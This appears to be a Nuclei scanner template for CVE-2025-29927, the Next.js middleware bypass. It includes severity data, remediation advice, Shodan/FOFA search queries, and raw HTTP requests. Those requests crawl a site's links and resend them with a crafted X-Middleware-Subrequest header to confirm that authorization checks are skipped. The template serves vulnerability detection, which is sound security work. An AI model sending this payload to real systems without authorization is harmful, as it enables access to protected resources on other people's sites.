id: CVE-2025-29927 info: name: Next.js Middleware Bypass author: pdresearch,pdteam,hazedic severity: critical description: | Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2. The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted 'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention. impact: | Unauthenticated attackers can bypass middleware security controls by sending crafted x-middleware-subrequest headers, potentially circumventing authorization checks and accessing protected resources. remediation: | Upgrade to Next.js 14.2.25 or 15.2.3 or later. If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level. reference: - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw - https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/ classification: epss-score: 0.92118 epss-percentile: 0.99723 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cwe-id: CWE-287 metadata: max-request: 1 shodan-query: "x-middleware-rewrite" fofa-query: "x-middleware-rewrite" product: next.js vendor: zeit tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln flow: | let base_check = function () { return http(1) && http(2); }; let endpoint_check = function () { if (!http(3)) return false; for (let endpoint_urls of iterate(template.endpoints)) { set("endpoints", endpoint_urls); if (!(http(4) && http(5))) return false; } return true; }; base_check() || endpoint_check() http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} X-Nextjs-Data: 1 matchers-condition: and matchers: - type: regex part: header regex: - "(?i)x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite" internal: true - type: status status: - 307 internal: true extractors: - type: regex name: redirect_path part: header regex: - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)" - raw: - | GET / HTTP/1.1 Host: {{Hostname}} X-Nextjs-Data: 1 X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware matchers: - type: status status: - 200 - method: GET path: - "{{BaseURL}}" redirects: true extractors: - type: regex name: endpoints part: body group: 1 regex: - "href=['\"](\\/[^\\.\"']+)['\"]" internal: true - method: GET path: - "{{BaseURL}}{{endpoints}}" matchers: - type: dsl dsl: - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200 - contains_any(to_lower(location), 'unauthorized') && status_code != 200 internal: true - method: GET path: - "{{BaseURL}}{{endpoints}}" headers: X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware" matchers: - type: dsl dsl: - status_code == 200 # digest: 490a004630440220224d4368bf4794bcf394244c1922f02fdcf2d3bf019b3fa7476152d2bc748313022040226588bac692fea422f55aeddc8d708bd0e92b1fb10c727dc543a64de06c43:922c64590222798bb761d5b6d8e72950